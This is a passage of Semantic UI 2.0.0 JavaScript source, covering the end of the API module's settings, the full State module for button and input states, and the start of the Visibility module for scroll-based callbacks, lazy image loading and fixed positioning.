error: function() {\n          module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');\n          module.error.apply(console, arguments);\n        },\n        performance: {\n          log: function(message) {\n            var\n              currentTime,\n              executionTime,\n              previousTime\n            ;\n            if(settings.performance) {\n              currentTime   = new Date().getTime();\n              previousTime  = time || currentTime;\n              executionTime = currentTime - previousTime;\n              time          = currentTime;\n              performance.push({\n                'Name'           : message[0],\n                'Arguments'      : [].slice.call(message, 1) || '',\n                //'Element'        : element,\n                'Execution Time' : executionTime\n              });\n            }\n            clearTimeout(module.performance.timer);\n            module.performance.timer = setTimeout(module.performance.display, 500);\n          },\n          display: function() {\n            var\n              title = settings.name + ':',\n              totalTime = 0\n            ;\n            time = false;\n            clearTimeout(module.performance.timer);\n            $.each(performance, function(index, data) {\n              totalTime += data['Execution Time'];\n            });\n            title += ' ' + totalTime + 'ms';\n            if(moduleSelector) {\n              title += ' \\'' + moduleSelector + '\\'';\n            }\n            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {\n              console.groupCollapsed(title);\n              if(console.table) {\n                console.table(performance);\n              }\n              else {\n                $.each(performance, function(index, data) {\n                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');\n                });\n              }\n              console.groupEnd();\n            }\n            performance = [];\n          }\n        },\n        invoke: function(query, passedArguments, context) {\n          var\n            object = instance,\n            maxDepth,\n            found,\n            response\n          ;\n          passedArguments = passedArguments || queryArguments;\n          context         = element         || context;\n          if(typeof query == 'string' && object !== undefined) {\n            query    = query.split(/[\\. ]/);\n            maxDepth = query.length - 1;\n            $.each(query, function(depth, value) {\n              var camelCaseValue = (depth != maxDepth)\n                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)\n                : query\n              ;\n              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {\n                object = object[camelCaseValue];\n              }\n              else if( object[camelCaseValue] !== undefined ) {\n                found = object[camelCaseValue];\n                return false;\n              }\n              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {\n                object = object[value];\n              }\n              else if( object[value] !== undefined ) {\n                found = object[value];\n                return false;\n              }\n              else {\n                module.error(error.method, query);\n                return false;\n              }\n            });\n          }\n          if ( $.isFunction( found ) ) {\n            response = found.apply(context, passedArguments);\n          }\n          else if(found !== undefined) {\n            response = found;\n          }\n          if($.isArray(returnedValue)) {\n            returnedValue.push(response);\n          }\n          else if(returnedValue !== undefined) {\n            returnedValue = [returnedValue, response];\n          }\n          else if(response !== undefined) {\n            returnedValue = response;\n          }\n          return found;\n        }\n      };\n\n      if(methodInvoked) {\n        if(instance === undefined) {\n          module.initialize();\n        }\n        module.invoke(query);\n      }\n      else {\n        if(instance !== undefined) {\n          instance.invoke('destroy');\n        }\n        module.initialize();\n      }\n    })\n  ;\n\n  return (returnedValue !== undefined)\n    ? returnedValue\n    : this\n  ;\n};\n\n$.api.settings = {\n\n  name              : 'API',\n  namespace         : 'api',\n\n  debug             : true,\n  verbose           : false,\n  performance       : true,\n\n  // object containing all templates endpoints\n  api               : {},\n\n  // whether to cache responses\n  cache             : true,\n\n  // whether new requests should abort previous requests\n  interruptRequests : true,\n\n  // event binding\n  on                : 'auto',\n\n  // context for applying state classes\n  stateContext      : false,\n\n  // duration for loading state\n  loadingDuration   : 0,\n\n  // duration for error state\n  errorDuration     : 2000,\n\n  // API action to use\n  action            : false,\n\n  // templated URL to use\n  url               : false,\n\n  // base URL to apply to all endpoints\n  base              : '',\n\n  // data that will\n  urlData           : {},\n\n  // whether to add default data to url data\n  defaultData          : true,\n\n  // whether to serialize closest form\n  serializeForm        : false,\n\n  // how long to wait before request should occur\n  throttle             : 0,\n\n  // whether to throttle first request or only repeated\n  throttleFirstRequest : true,\n\n  // standard ajax settings\n  method            : 'get',\n  data              : {},\n  dataType          : 'json',\n\n  // mock response\n  mockResponse      : false,\n  mockResponseAsync : false,\n\n  // callbacks before request\n  beforeSend  : function(settings) { return settings; },\n  beforeXHR   : function(xhr) {},\n  onRequest   : function(promise, xhr) {},\n\n  // after request\n  onResponse  : false, // function(response) { },\n\n  // response was successful, if JSON passed validation\n  onSuccess   : function(response, $module) {},\n\n  // request finished without aborting\n  onComplete  : function(response, $module) {},\n\n  // failed JSON success test\n  onFailure   : function(response, $module) {},\n\n  // server error\n  onError     : function(errorMessage, $module) {},\n\n  // request aborted\n  onAbort     : function(errorMessage, $module) {},\n\n  successTest : false,\n\n  // errors\n  error : {\n    beforeSend        : 'The before send function has aborted the request',\n    error             : 'There was an error with your request',\n    exitConditions    : 'API Request Aborted. Exit conditions met',\n    JSONParse         : 'JSON could not be parsed during error handling',\n    legacyParameters  : 'You are using legacy API success callback names',\n    method            : 'The method you called is not defined',\n    missingAction     : 'API action used but no url was defined',\n    missingSerialize  : 'jquery-serialize-object is required to add form data to an existing data object',\n    missingURL        : 'No URL specified for api event',\n    noReturnedValue   : 'The beforeSend callback must return a settings object, beforeSend ignored.',\n    noStorage         : 'Caching respopnses locally requires session storage',\n    parseError        : 'There was an error parsing your request',\n    requiredParameter : 'Missing a required URL parameter: ',\n    statusMessage     : 'Server gave an error: ',\n    timeout           : 'Your request timed out'\n  },\n\n  regExp  : {\n    required : /\\{\\$*[A-z0-9]+\\}/g,\n    optional : /\\{\\/\\$*[A-z0-9]+\\}/g,\n  },\n\n  className: {\n    loading : 'loading',\n    error   : 'error'\n  },\n\n  selector: {\n    disabled : '.disabled',\n    form      : 'form'\n  },\n\n  metadata: {\n    action  : 'action',\n    url     : 'url'\n  }\n};\n\n\n\n})( jQuery, window , document );\n\n/*!\n * # Semantic UI 2.0.0 - State\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n;(function ( $, window, document, undefined ) {\n\n\"use strict\";\n\n$.fn.state = function(parameters) {\n  var\n    $allModules     = $(this),\n\n    moduleSelector  = $allModules.selector || '',\n\n    hasTouch        = ('ontouchstart' in document.documentElement),\n    time            = new Date().getTime(),\n    performance     = [],\n\n    query           = arguments[0],\n    methodInvoked   = (typeof query == 'string'),\n    queryArguments  = [].slice.call(arguments, 1),\n\n    returnedValue\n  ;\n  $allModules\n    .each(function() {\n      var\n        settings          = ( $.isPlainObject(parameters) )\n          ? $.extend(true, {}, $.fn.state.settings, parameters)\n          : $.extend({}, $.fn.state.settings),\n\n        error           = settings.error,\n        metadata        = settings.metadata,\n        className       = settings.className,\n        namespace       = settings.namespace,\n        states          = settings.states,\n        text            = settings.text,\n\n        eventNamespace  = '.' + namespace,\n        moduleNamespace = namespace + '-module',\n\n        $module         = $(this),\n\n        element         = this,\n        instance        = $module.data(moduleNamespace),\n\n        module\n      ;\n      module = {\n\n        initialize: function() {\n          module.verbose('Initializing module');\n\n          // allow module to guess desired state based on element\n          if(settings.automatic) {\n            module.add.defaults();\n          }\n\n          // bind events with delegated events\n          if(settings.context && moduleSelector !== '') {\n            $(settings.context)\n              .on(moduleSelector, 'mouseenter' + eventNamespace, module.change.text)\n              .on(moduleSelector, 'mouseleave' + eventNamespace, module.reset.text)\n              .on(moduleSelector, 'click'      + eventNamespace, module.toggle.state)\n            ;\n          }\n          else {\n            $module\n              .on('mouseenter' + eventNamespace, module.change.text)\n              .on('mouseleave' + eventNamespace, module.reset.text)\n              .on('click'      + eventNamespace, module.toggle.state)\n            ;\n          }\n          module.instantiate();\n        },\n\n        instantiate: function() {\n          module.verbose('Storing instance of module', module);\n          instance = module;\n          $module\n            .data(moduleNamespace, module)\n          ;\n        },\n\n        destroy: function() {\n          module.verbose('Destroying previous module', instance);\n          $module\n            .off(eventNamespace)\n            .removeData(moduleNamespace)\n          ;\n        },\n\n        refresh: function() {\n          module.verbose('Refreshing selector cache');\n          $module = $(element);\n        },\n\n        add: {\n          defaults: function() {\n            var\n              userStates = parameters && $.isPlainObject(parameters.states)\n                ? parameters.states\n                : {}\n            ;\n            $.each(settings.defaults, function(type, typeStates) {\n              if( module.is[type] !== undefined && module.is[type]() ) {\n                module.verbose('Adding default states', type, element);\n                $.extend(settings.states, typeStates, userStates);\n              }\n            });\n          }\n        },\n\n        is: {\n\n          active: function() {\n            return $module.hasClass(className.active);\n          },\n          loading: function() {\n            return $module.hasClass(className.loading);\n          },\n          inactive: function() {\n            return !( $module.hasClass(className.active) );\n          },\n          state: function(state) {\n            if(className[state] === undefined) {\n              return false;\n            }\n            return $module.hasClass( className[state] );\n          },\n\n          enabled: function() {\n            return !( $module.is(settings.filter.active) );\n          },\n          disabled: function() {\n            return ( $module.is(settings.filter.active) );\n          },\n          textEnabled: function() {\n            return !( $module.is(settings.filter.text) );\n          },\n\n          // definitions for automatic type detection\n          button: function() {\n            return $module.is('.button:not(a, .submit)');\n          },\n          input: function() {\n            return $module.is('input');\n          },\n          progress: function() {\n            return $module.is('.ui.progress');\n          }\n        },\n\n        allow: function(state) {\n          module.debug('Now allowing state', state);\n          states[state] = true;\n        },\n        disallow: function(state) {\n          module.debug('No longer allowing', state);\n          states[state] = false;\n        },\n\n        allows: function(state) {\n          return states[state] || false;\n        },\n\n        enable: function() {\n          $module.removeClass(className.disabled);\n        },\n\n        disable: function() {\n          $module.addClass(className.disabled);\n        },\n\n        setState: function(state) {\n          if(module.allows(state)) {\n            $module.addClass( className[state] );\n          }\n        },\n\n        removeState: function(state) {\n          if(module.allows(state)) {\n            $module.removeClass( className[state] );\n          }\n        },\n\n        toggle: {\n          state: function() {\n            var\n              apiRequest,\n              requestCancelled\n            ;\n            if( module.allows('active') && module.is.enabled() ) {\n              module.refresh();\n              if($.fn.api !== undefined) {\n                apiRequest       = $module.api('get request');\n                requestCancelled = $module.api('was cancelled');\n                if( requestCancelled ) {\n                  module.debug('API Request cancelled by beforesend');\n                  settings.activateTest   = function(){ return false; };\n                  settings.deactivateTest = function(){ return false; };\n                }\n                else if(apiRequest) {\n                  module.listenTo(apiRequest);\n                  return;\n                }\n              }\n              module.change.state();\n            }\n          }\n        },\n\n        listenTo: function(apiRequest) {\n          module.debug('API request detected, waiting for state signal', apiRequest);\n          if(apiRequest) {\n            if(text.loading) {\n              module.update.text(text.loading);\n            }\n            $.when(apiRequest)\n              .then(function() {\n                if(apiRequest.state() == 'resolved') {\n                  module.debug('API request succeeded');\n                  settings.activateTest   = function(){ return true; };\n                  settings.deactivateTest = function(){ return true; };\n                }\n                else {\n                  module.debug('API request failed');\n                  settings.activateTest   = function(){ return false; };\n                  settings.deactivateTest = function(){ return false; };\n                }\n                module.change.state();\n              })\n            ;\n          }\n        },\n\n        // checks whether active/inactive state can be given\n        change: {\n\n          state: function() {\n            module.debug('Determining state change direction');\n            // inactive to active change\n            if( module.is.inactive() ) {\n              module.activate();\n            }\n            else {\n              module.deactivate();\n            }\n            if(settings.sync) {\n              module.sync();\n            }\n            settings.onChange.call(element);\n          },\n\n          text: function() {\n            if( module.is.textEnabled() ) {\n              if(module.is.disabled() ) {\n                module.verbose('Changing text to disabled text', text.hover);\n                module.update.text(text.disabled);\n              }\n              else if( module.is.active() ) {\n                if(text.hover) {\n                  module.verbose('Changing text to hover text', text.hover);\n                  module.update.text(text.hover);\n                }\n                else if(text.deactivate) {\n                  module.verbose('Changing text to deactivating text', text.deactivate);\n                  module.update.text(text.deactivate);\n                }\n              }\n              else {\n                if(text.hover) {\n                  module.verbose('Changing text to hover text', text.hover);\n                  module.update.text(text.hover);\n                }\n                else if(text.activate){\n                  module.verbose('Changing text to activating text', text.activate);\n                  module.update.text(text.activate);\n                }\n              }\n            }\n          }\n\n        },\n\n        activate: function() {\n          if( settings.activateTest.call(element) ) {\n            module.debug('Setting state to active');\n            $module\n              .addClass(className.active)\n            ;\n            module.update.text(text.active);\n            settings.onActivate.call(element);\n          }\n        },\n\n        deactivate: function() {\n          if( settings.deactivateTest.call(element) ) {\n            module.debug('Setting state to inactive');\n            $module\n              .removeClass(className.active)\n            ;\n            module.update.text(text.inactive);\n            settings.onDeactivate.call(element);\n          }\n        },\n\n        sync: function() {\n          module.verbose('Syncing other buttons to current state');\n          if( module.is.active() ) {\n            $allModules\n              .not($module)\n                .state('activate');\n          }\n          else {\n            $allModules\n              .not($module)\n                .state('deactivate')\n            ;\n          }\n        },\n\n        get: {\n          text: function() {\n            return (settings.selector.text)\n              ? $module.find(settings.selector.text).text()\n              : $module.html()\n            ;\n          },\n          textFor: function(state) {\n            return text[state] || false;\n          }\n        },\n\n        flash: {\n          text: function(text, duration, callback) {\n            var\n              previousText = module.get.text()\n            ;\n            module.debug('Flashing text message', text, duration);\n            text     = text     || settings.text.flash;\n            duration = duration || settings.flashDuration;\n            callback = callback || function() {};\n            module.update.text(text);\n            setTimeout(function(){\n              module.update.text(previousText);\n              callback.call(element);\n            }, duration);\n          }\n        },\n\n        reset: {\n          // on mouseout sets text to previous value\n          text: function() {\n            var\n              activeText   = text.active   || $module.data(metadata.storedText),\n              inactiveText = text.inactive || $module.data(metadata.storedText)\n            ;\n            if( module.is.textEnabled() ) {\n              if( module.is.active() && activeText) {\n                module.verbose('Resetting active text', activeText);\n                module.update.text(activeText);\n              }\n              else if(inactiveText) {\n                module.verbose('Resetting inactive text', activeText);\n                module.update.text(inactiveText);\n              }\n            }\n          }\n        },\n\n        update: {\n          text: function(text) {\n            var\n              currentText = module.get.text()\n            ;\n            if(text && text !== currentText) {\n              module.debug('Updating text', text);\n              if(settings.selector.text) {\n                $module\n                  .data(metadata.storedText, text)\n                  .find(settings.selector.text)\n                    .text(text)\n                ;\n              }\n              else {\n                $module\n                  .data(metadata.storedText, text)\n                  .html(text)\n                ;\n              }\n            }\n            else {\n              module.debug('Text is already set, ignoring update', text);\n            }\n          }\n        },\n\n        setting: function(name, value) {\n          module.debug('Changing setting', name, value);\n          if( $.isPlainObject(name) ) {\n            $.extend(true, settings, name);\n          }\n          else if(value !== undefined) {\n            settings[name] = value;\n          }\n          else {\n            return settings[name];\n          }\n        },\n        internal: function(name, value) {\n          if( $.isPlainObject(name) ) {\n            $.extend(true, module, name);\n          }\n          else if(value !== undefined) {\n            module[name] = value;\n          }\n          else {\n            return module[name];\n          }\n        },\n        debug: function() {\n          if(settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.debug.apply(console, arguments);\n            }\n          }\n        },\n        verbose: function() {\n          if(settings.verbose && settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.verbose.apply(console, arguments);\n            }\n          }\n        },\n        error: function() {\n          module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');\n          module.error.apply(console, arguments);\n        },\n        performance: {\n          log: function(message) {\n            var\n              currentTime,\n              executionTime,\n              previousTime\n            ;\n            if(settings.performance) {\n              currentTime   = new Date().getTime();\n              previousTime  = time || currentTime;\n              executionTime = currentTime - previousTime;\n              time          = currentTime;\n              performance.push({\n                'Name'           : message[0],\n                'Arguments'      : [].slice.call(message, 1) || '',\n                'Element'        : element,\n                'Execution Time' : executionTime\n              });\n            }\n            clearTimeout(module.performance.timer);\n            module.performance.timer = setTimeout(module.performance.display, 500);\n          },\n          display: function() {\n            var\n              title = settings.name + ':',\n              totalTime = 0\n            ;\n            time = false;\n            clearTimeout(module.performance.timer);\n            $.each(performance, function(index, data) {\n              totalTime += data['Execution Time'];\n            });\n            title += ' ' + totalTime + 'ms';\n            if(moduleSelector) {\n              title += ' \\'' + moduleSelector + '\\'';\n            }\n            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {\n              console.groupCollapsed(title);\n              if(console.table) {\n                console.table(performance);\n              }\n              else {\n                $.each(performance, function(index, data) {\n                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');\n                });\n              }\n              console.groupEnd();\n            }\n            performance = [];\n          }\n        },\n        invoke: function(query, passedArguments, context) {\n          var\n            object = instance,\n            maxDepth,\n            found,\n            response\n          ;\n          passedArguments = passedArguments || queryArguments;\n          context         = element         || context;\n          if(typeof query == 'string' && object !== undefined) {\n            query    = query.split(/[\\. ]/);\n            maxDepth = query.length - 1;\n            $.each(query, function(depth, value) {\n              var camelCaseValue = (depth != maxDepth)\n                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)\n                : query\n              ;\n              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {\n                object = object[camelCaseValue];\n              }\n              else if( object[camelCaseValue] !== undefined ) {\n                found = object[camelCaseValue];\n                return false;\n              }\n              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {\n                object = object[value];\n              }\n              else if( object[value] !== undefined ) {\n                found = object[value];\n                return false;\n              }\n              else {\n                module.error(error.method, query);\n                return false;\n              }\n            });\n          }\n          if ( $.isFunction( found ) ) {\n            response = found.apply(context, passedArguments);\n          }\n          else if(found !== undefined) {\n            response = found;\n          }\n          if($.isArray(returnedValue)) {\n            returnedValue.push(response);\n          }\n          else if(returnedValue !== undefined) {\n            returnedValue = [returnedValue, response];\n          }\n          else if(response !== undefined) {\n            returnedValue = response;\n          }\n          return found;\n        }\n      };\n\n      if(methodInvoked) {\n        if(instance === undefined) {\n          module.initialize();\n        }\n        module.invoke(query);\n      }\n      else {\n        if(instance !== undefined) {\n          instance.invoke('destroy');\n        }\n        module.initialize();\n      }\n    })\n  ;\n\n  return (returnedValue !== undefined)\n    ? returnedValue\n    : this\n  ;\n};\n\n$.fn.state.settings = {\n\n  // module info\n  name           : 'State',\n\n  // debug output\n  debug          : false,\n\n  // verbose debug output\n  verbose        : false,\n\n  // namespace for events\n  namespace      : 'state',\n\n  // debug data includes performance\n  performance    : true,\n\n  // callback occurs on state change\n  onActivate     : function() {},\n  onDeactivate   : function() {},\n  onChange       : function() {},\n\n  // state test functions\n  activateTest   : function() { return true; },\n  deactivateTest : function() { return true; },\n\n  // whether to automatically map default states\n  automatic      : true,\n\n  // activate / deactivate changes all elements instantiated at same time\n  sync           : false,\n\n  // default flash text duration, used for temporarily changing text of an element\n  flashDuration  : 1000,\n\n  // selector filter\n  filter     : {\n    text   : '.loading, .disabled',\n    active : '.disabled'\n  },\n\n  context    : false,\n\n  // error\n  error: {\n    beforeSend : 'The before send function has cancelled state change',\n    method     : 'The method you called is not defined.'\n  },\n\n  // metadata\n  metadata: {\n    promise    : 'promise',\n    storedText : 'stored-text'\n  },\n\n  // change class on state\n  className: {\n    active   : 'active',\n    disabled : 'disabled',\n    error    : 'error',\n    loading  : 'loading',\n    success  : 'success',\n    warning  : 'warning'\n  },\n\n  selector: {\n    // selector for text node\n    text: false\n  },\n\n  defaults : {\n    input: {\n      disabled : true,\n      loading  : true,\n      active   : true\n    },\n    button: {\n      disabled : true,\n      loading  : true,\n      active   : true,\n    },\n    progress: {\n      active   : true,\n      success  : true,\n      warning  : true,\n      error    : true\n    }\n  },\n\n  states     : {\n    active   : true,\n    disabled : true,\n    error    : true,\n    loading  : true,\n    success  : true,\n    warning  : true\n  },\n\n  text     : {\n    disabled   : false,\n    flash      : false,\n    hover      : false,\n    active     : false,\n    inactive   : false,\n    activate   : false,\n    deactivate : false\n  }\n\n};\n\n\n\n})( jQuery, window , document );\n\n/*!\n * # Semantic UI 2.0.0 - Visibility\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n;(function ( $, window, document, undefined ) {\n\n\"use strict\";\n\n$.fn.visibility = function(parameters) {\n  var\n    $allModules    = $(this),\n    moduleSelector = $allModules.selector || '',\n\n    time           = new Date().getTime(),\n    performance    = [],\n\n    query          = arguments[0],\n    methodInvoked  = (typeof query == 'string'),\n    queryArguments = [].slice.call(arguments, 1),\n    returnedValue\n  ;\n\n  $allModules\n    .each(function() {\n      var\n        settings        = ( $.isPlainObject(parameters) )\n          ? $.extend(true, {}, $.fn.visibility.settings, parameters)\n          : $.extend({}, $.fn.visibility.settings),\n\n        className       = settings.className,\n        namespace       = settings.namespace,\n        error           = settings.error,\n        metadata        = settings.metadata,\n\n        eventNamespace  = '.' + namespace,\n        moduleNamespace = 'module-' + namespace,\n\n        $window         = $(window),\n\n        $module         = $(this),\n        $context        = $(settings.context),\n\n        $placeholder,\n\n        selector        = $module.selector || '',\n        instance        = $module.data(moduleNamespace),\n\n        requestAnimationFrame = window.requestAnimationFrame\n          || window.mozRequestAnimationFrame\n          || window.webkitRequestAnimationFrame\n          || window.msRequestAnimationFrame\n          || function(callback) { setTimeout(callback, 0); },\n\n        element         = this,\n        disabled        = false,\n\n        observer,\n        module\n      ;\n\n      module = {\n\n        initialize: function() {\n          module.debug('Initializing', settings);\n\n          module.setup.cache();\n\n          if( module.should.trackChanges() ) {\n\n            if(settings.type == 'image') {\n              module.setup.image();\n            }\n            if(settings.type == 'fixed') {\n              module.setup.fixed();\n            }\n\n            if(settings.observeChanges) {\n              module.observeChanges();\n            }\n            module.bind.events();\n          }\n\n          module.save.position();\n          if( !module.is.visible() ) {\n            module.error(error.visible, $module);\n          }\n\n          if(settings.initialCheck) {\n            module.checkVisibility();\n          }\n          module.instantiate();\n        },\n\n        instantiate: function() {\n          module.debug('Storing instance', module);\n          $module\n            .data(moduleNamespace, module)\n          ;\n          instance = module;\n        },\n\n        destroy: function() {\n          module.verbose('Destroying previous module');\n          if(observer) {\n            observer.disconnect();\n          }\n          $window\n            .off('load'   + eventNamespace, module.event.load)\n            .off('resize' + eventNamespace, module.event.resize)\n          ;\n          $context\n            .off('scrollchange' + eventNamespace, module.event.scrollchange)\n          ;\n          $module\n            .off(eventNamespace)\n            .removeData(moduleNamespace)\n          ;\n        },\n\n        observeChanges: function() {\n          if('MutationObserver' in window) {\n            observer = new MutationObserver(function(mutations) {\n              module.verbose('DOM tree modified, updating visibility calculations');\n              module.timer = setTimeout(function() {\n                module.verbose('DOM tree modified, updating sticky menu');\n                module.refresh();\n              }, 100);\n            });\n            observer.observe(element, {\n              childList : true,\n              subtree   : true\n            });\n            module.debug('Setting up mutation observer', observer);\n          }\n        },\n\n        bind: {\n          events: function() {\n            module.verbose('Binding visibility events to scroll and resize');\n            if(settings.refreshOnLoad) {\n              $window\n                .on('load'   + eventNamespace, module.event.load)\n              ;\n            }\n            $window\n              .on('resize' + eventNamespace, module.event.resize)\n            ;\n            // pub/sub pattern\n            $context\n              .off('scroll'      + eventNamespace)\n              .on('scroll'       + eventNamespace, module.event.scroll)\n              .on('scrollchange' + eventNamespace, module.event.scrollchange)\n            ;\n          }\n        },\n\n        event: {\n          resize: function() {\n            module.debug('Window resized');\n            if(settings.refreshOnResize) {\n              requestAnimationFrame(module.refresh);\n            }\n          },\n          load: function() {\n            module.debug('Page finished loading');\n            requestAnimationFrame(module.refresh);\n          },\n          // publishes scrollchange event on one scroll\n          scroll: function() {\n            if(settings.throttle) {\n              clearTimeout(module.timer);\n              module.timer = setTimeout(function() {\n                $context.triggerHandler('scrollchange' + eventNamespace, [ $context.scrollTop() ]);\n              }, settings.throttle);\n            }\n            else {\n              requestAnimationFrame(function() {\n                $context.triggerHandler('scrollchange' + eventNamespace, [ $context.scrollTop() ]);\n              });\n            }\n          },\n          // subscribes to scrollchange\n          scrollchange: function(event, scrollPosition) {\n            module.checkVisibility(scrollPosition);\n          },\n        },\n\n        precache: function(images, callback) {\n          if (!(images instanceof Array)) {\n            images = [images];\n          }\n          var\n            imagesLength  = images.length,\n            loadedCounter = 0,\n            cache         = [],\n            cacheImage    = document.createElement('img'),\n            handleLoad    = function() {\n              loadedCounter++;\n              if (loadedCounter >= images.length) {\n                if ($.isFunction(callback)) {\n                  callback();\n                }\n              }\n            }\n          ;\n          while (imagesLength--) {\n            cacheImage         = document.createElement('img');\n            cacheImage.onload  = handleLoad;\n            cacheImage.onerror = handleLoad;\n            cacheImage.src     = images[imagesLength];\n            cache.push(cacheImage);\n          }\n        },\n\n        enableCallbacks: function() {\n          module.debug('Allowing callbacks to occur');\n          disabled = false;\n        },\n\n        disableCallbacks: function() {\n          module.debug('Disabling all callbacks temporarily');\n          disabled = true;\n        },\n\n        should: {\n          trackChanges: function() {\n            if(methodInvoked) {\n              module.debug('One time query, no need to bind events');\n              return false;\n            }\n            module.debug('Callbacks being attached');\n            return true;\n          }\n        },\n\n        setup: {\n          cache: function() {\n            module.cache = {\n              occurred : {},\n              screen   : {},\n              element  : {},\n            };\n          },\n          image: function() {\n            var\n              src = $module.data(metadata.src)\n            ;\n            if(src) {\n              module.verbose('Lazy loading image', src);\n              settings.once           = true;\n              settings.observeChanges = false;\n\n              // show when top visible\n              settings.onOnScreen = function() {\n                module.debug('Image on screen', element);\n                module.precache(src, function() {\n                  module.set.image(src);\n                });\n              };\n            }\n          },\n          fixed: function() {\n            module.debug('Setting up fixed');\n            settings.once           = false;\n            settings.observeChanges = false;\n            settings.initialCheck   = true;\n            settings.refreshOnLoad  = true;\n            if(!parameters.transition) {\n              settings.transition = false;\n            }\n            module.create.placeholder();\n            module.debug('Added placeholder', $placeholder);\n            settings.onTopPassed = function() {\n              module.debug('Element passed, adding fixed position', $module);\n              module.show.placeholder();\n              module.set.fixed();\n              if(settings.transition) {\n                if($.fn.transition !== undefined) {\n                  $module.transition(settings.transition, settings.duration);\n                }\n              }\n            };\n            settings.onTopPassedReverse = function() {\n              module.debug('Element returned to position, removing fixed', $module);\n              module.hide.placeholder();\n              module.remove.fixed();\n            };\n          }\n        },\n\n        create: {\n          placeholder: function() {\n            module.verbose('Creating fixed position placeholder');\n            $placeholder = $module\n              .clone(false)\n              .css('display', 'none')\n              .addClass(className.placeholder)\n              .insertAfter($module)\n            ;\n          }\n        },\n\n        show: {\n          placeholder: function() {\n            module.verbose('Showing placeholder');\n            $placeholder\n              .css('display', 'block')\n              .css('visibility', 'hidden')\n            ;\n          }\n        },\n        hide: {\n          placeholder: function() {\n            module.verbose('Hiding placeholder');\n            $placeholder\n              .css('display', 'none')\n              .css('visibility', '')\n            ;\n          }\n        },\n\n        set: {\n          fixed: function() {\n            module.verbose('Setting element to fixed position');\n            $module\n              .addClass(className.fixed)\n              .css({\n                position : 'fixed',\n                top      : settings.offset + 'px',\n                left     : 'auto',\n                zIndex   : '1'\n              })\n            ;\n          },\n          image: function(src) {\n            $module\n              .attr('src', src)\n            ;\n            if(settings.transition) {\n              if( $.fn.transition !== undefined ) {\n                $module.transition(settings.transition, settings.duration);\n              }\n              else {\n                $module.fadeIn(settings.duration);\n              }\n            }\n            else {\n              $module.show();\n            }\n          }\n        },\n\n        is: {\n          onScreen: function() {\n            var\n              calculations   = module.get.elementCalculations()\n            ;\n            return calculations.onScreen;\n          },\n          offScreen: function() {\n            var\n              calculations   = module.get.elementCalculations()\n            ;\n            return calculations.offScreen;\n          },\n          visible: function() {\n            if(module.cache && module.cache.element) {\n              return !(module.cache.element.width === 0 && module.cache.element.offset.top === 0);\n            }\n            return false;\n          }\n        },\n\n        refresh: function() {\n          module.debug('Refreshing constants (width/height)');\n          if(settings.type == 'fixed') {\n            module.remove.fixed();\n            module.remove.occurred();\n          }\n          module.reset();\n          module.save.position();\n          if(settings.checkOnRefresh) {\n            module.checkVisibility();\n          }\n          settings.onRefresh.call(element);\n        },\n\n        reset: function() {\n          module.verbose('Reseting all cached values');\n          if( $.isPlainObject(module.cache) ) {\n            module.cache.screen = {};\n            module.cache.element = {};\n          }\n        },\n\n        checkVisibility: function(scroll) {\n          module.verbose('Checking visibility of element', module.cache.element);\n\n          if( !disabled && module.is.visible() ) {\n\n            // save scroll position\n            module.save.scroll(scroll);\n\n            // update calculations derived from scroll\n            module.save.calculations();\n\n            // percentage\n            module.passed();\n\n            // reverse (must be first)\n            module.passingReverse();\n            module.topVisibleReverse();\n            module.bottomVisibleReverse();\n            module.topPassedReverse();\n            module.bottomPassedReverse();\n\n            // one time\n            module.onScreen();\n            module.offScreen();\n            module.passing();\n            module.topVisible();\n            module.bottomVisible();\n            module.topPassed();\n            module.bottomPassed();\n\n            // on update callback\n            if(settings.onUpdate) {\n              settings.onUpdate.call(element, module.get.elementCalculations());\n            }\n          }\n        },\n\n        passed: function(amount, newCallback) {\n          var\n            calculations   = module.get.elementCalculations(),\n            amountInPixels\n          ;\n          // assign callback\n          if(amount && newCallback) {\n            settings.onPassed[amount] = newCallback;\n          }\n          else if(amount !== undefined) {\n            return (module.get.pixelsPassed(amount) > calculations.pixelsPassed);\n          }\n          else if(calculations.passing) {\n            $.each(settings.onPassed, function(amount, callback) {\n              if(calculations.bottomVisible || calculations.pixelsPassed > module.get.pixelsPassed(amount)) {\n                module.execute(callback, amount);\n              }\n              else if(!settings.once) {\n                module.remove.occurred(callback);\n              }\n            });\n          }\n        },\n\n        onScreen: function(newCallback) {\n          var\n            calculations = module.get.elementCalculations(),\n            callback     = newCallback || settings.onOnScreen,\n            callbackName = 'onScreen'\n          ;\n          if(newCallback) {\n            module.debug('Adding callback for onScreen', newCallback);\n            settings.onOnScreen = newCallback;\n          }\n          if(calculations.onScreen) {\n            module.execute(callback, callbackName);\n          }\n          else if(!settings.once) {\n            module.remove.occurred(callbackName);\n          }\n          if(newCallback !== undefined) {\n            return calculations.onOnScreen;\n          }\n        },\n\n        offScreen: function(newCallback) {\n          var\n            calculations = module.get.elementCalculations(),\n            callback     = newCallback || settings.onOffScreen,\n            callbackName = 'offScreen'\n          ;\n          if(newCallback) {\n            module.debug('Adding callback for offScreen', newCallback);\n            settings.onOffScreen = newCallback;\n          }\n          if(calculations.offScreen) {\n            module.execute(callback, callbackName);\n          }\n          else if(!settings.once) {\n            module.remove.occurred(callbackName);\n          }\n          if(newCallback !== undefined) {\n            return calculations.onOffScreen;\n          }\n        },\n\n        passing: 